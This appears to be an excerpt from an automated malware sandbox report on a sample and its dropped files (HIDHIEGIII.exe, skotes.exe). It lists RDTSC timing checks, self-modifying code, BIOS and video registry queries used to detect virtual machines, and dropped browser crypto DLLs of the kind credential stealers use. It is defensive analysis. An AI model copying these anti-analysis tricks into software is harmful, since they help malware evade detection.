Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 965FCE second address: 965FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 966051 second address: 966064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D595292FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 966129 second address: 966143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59526BC5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 966143 second address: 966148 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 959C23 second address: 959C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 959C43 second address: 959C4E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98519F second address: 9851A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9851A7 second address: 9851C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59529303h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9851C0 second address: 9851C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9851C6 second address: 9851CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9851CA second address: 9851DE instructions: 0x00000000 rdtsc 0x00000002 je 00007F5D59526BB6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9851DE second address: 9851F4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F5D595292FCh 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 985374 second address: 98538C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F5D59526BC3h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 985669 second address: 98567A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D595292FDh 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98567A second address: 98568E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 985D56 second address: 985D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98603A second address: 986056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC1h 0x00000007 push edx 0x00000008 jns 00007F5D59526BB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 952D61 second address: 952D6E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 952D6E second address: 952D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 986A20 second address: 986A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5D59529301h 0x00000009 pop ebx 0x0000000a je 00007F5D595292FCh 0x00000010 js 00007F5D595292F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 986A46 second address: 986A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 989A0F second address: 989A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jne 00007F5D595292F6h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jbe 00007F5D5952930Bh 0x00000017 jmp 00007F5D59529305h 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 989A45 second address: 989A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 989A49 second address: 989A53 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 989A53 second address: 989A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 989C67 second address: 989C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98B5D0 second address: 98B5D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98B5D6 second address: 98B5EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a js 00007F5D595292F6h 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 98B5EB second address: 98B5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 95D135 second address: 95D157 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5D595292F6h 0x00000008 jmp 00007F5D595292FBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007F5D595292F6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 95D157 second address: 95D160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 95D160 second address: 95D192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d js 00007F5D595292F6h 0x00000013 popad 0x00000014 popad 0x00000015 jnc 00007F5D5952931Ch 0x0000001b jmp 00007F5D59529304h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 95D192 second address: 95D19A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993327 second address: 99332B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993B6D second address: 993B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993B7E second address: 993B88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5D595292FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993B88 second address: 993B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993B92 second address: 993BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F5D595292F8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 993BA6 second address: 993BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5D59526BB6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 996442 second address: 996446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 996514 second address: 996580 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5D59526BB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007F5D59526BBCh 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jo 00007F5D59526BB8h 0x0000001c pushad 0x0000001d popad 0x0000001e jne 00007F5D59526BC5h 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push ebx 0x00000028 jmp 00007F5D59526BC4h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F5D59526BC4h 0x00000039 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9971DD second address: 9971E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9971E1 second address: 9971EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F5D59526BB6h 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997294 second address: 9972DB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5D595292F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F5D595292F8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 mov dword ptr [ebp+1246FA08h], eax 0x0000002d push ebx 0x0000002e mov esi, dword ptr [ebp+122D3C26h] 0x00000034 pop esi 0x00000035 nop 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b pop eax 0x0000003c rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9972DB second address: 9972E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9972E1 second address: 9972E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997637 second address: 997655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5D59526BC5h 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997736 second address: 997744 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997E09 second address: 997E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5D59526BB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997E14 second address: 997E45 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5D59529302h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5D59529306h 0x00000013 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 997E45 second address: 997E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 998809 second address: 998816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 998816 second address: 99888D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5D59526BC0h 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F5D59526BBBh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F5D59526BB8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push edi 0x0000002e mov si, 1EA6h 0x00000032 pop esi 0x00000033 push 00000000h 0x00000035 and esi, 02EAD6C0h 0x0000003b xchg eax, ebx 0x0000003c jc 00007F5D59526BCFh 0x00000042 jmp 00007F5D59526BC9h 0x00000047 push eax 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c pop eax 0x0000004d rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99888D second address: 998891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9986B1 second address: 9986C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jne 00007F5D59526BB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9998E1 second address: 999909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnc 00007F5D5952930Bh 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 999909 second address: 99990F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99990F second address: 999918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 999918 second address: 999990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F5D59526BB8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F5D59526BB8h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e mov esi, 0CB99D07h 0x00000043 push 00000000h 0x00000045 mov dword ptr [ebp+122D2CFEh], eax 0x0000004b xchg eax, ebx 0x0000004c jmp 00007F5D59526BC8h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 999990 second address: 999996 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 999996 second address: 99999C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99999C second address: 9999A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99B98A second address: 99B98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99C4DB second address: 99C4E5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99C4E5 second address: 99C4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99C4EF second address: 99C501 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5D595292F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9990CC second address: 9990D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5D59526BB6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99A0D1 second address: 99A0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99F323 second address: 99F329 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 99F329 second address: 99F333 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5D595292F6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9A2603 second address: 9A2607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9A4687 second address: 9A468B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9A468B second address: 9A46CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D59526BC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov dword ptr [esp], eax 0x0000000d mov bl, FAh 0x0000000f push 00000000h 0x00000011 mov bx, 5B30h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5D59526BC8h 0x0000001f rdtsc
Source: C:\Users\user\Documents\HIDHIEGIII.exe	RDTSC instruction interceptor: First address: 9A46CA second address: 9A46D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A8FB40 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A8FC53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C2A98A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C3BAFE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CB8B47 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Special instruction interceptor: First address: 7EEE94 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Special instruction interceptor: First address: 7EEF5F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Special instruction interceptor: First address: 987F71 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Special instruction interceptor: First address: A1ABF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EE94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83EF5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9D7F71 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A6ABF4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Documents\HIDHIEGIII.exe

Code function: 14_2_04FD0152 rdtsc

14_2_04FD0152

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 1524	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6596	Thread sleep count: 48 > 30	Jump to behavior
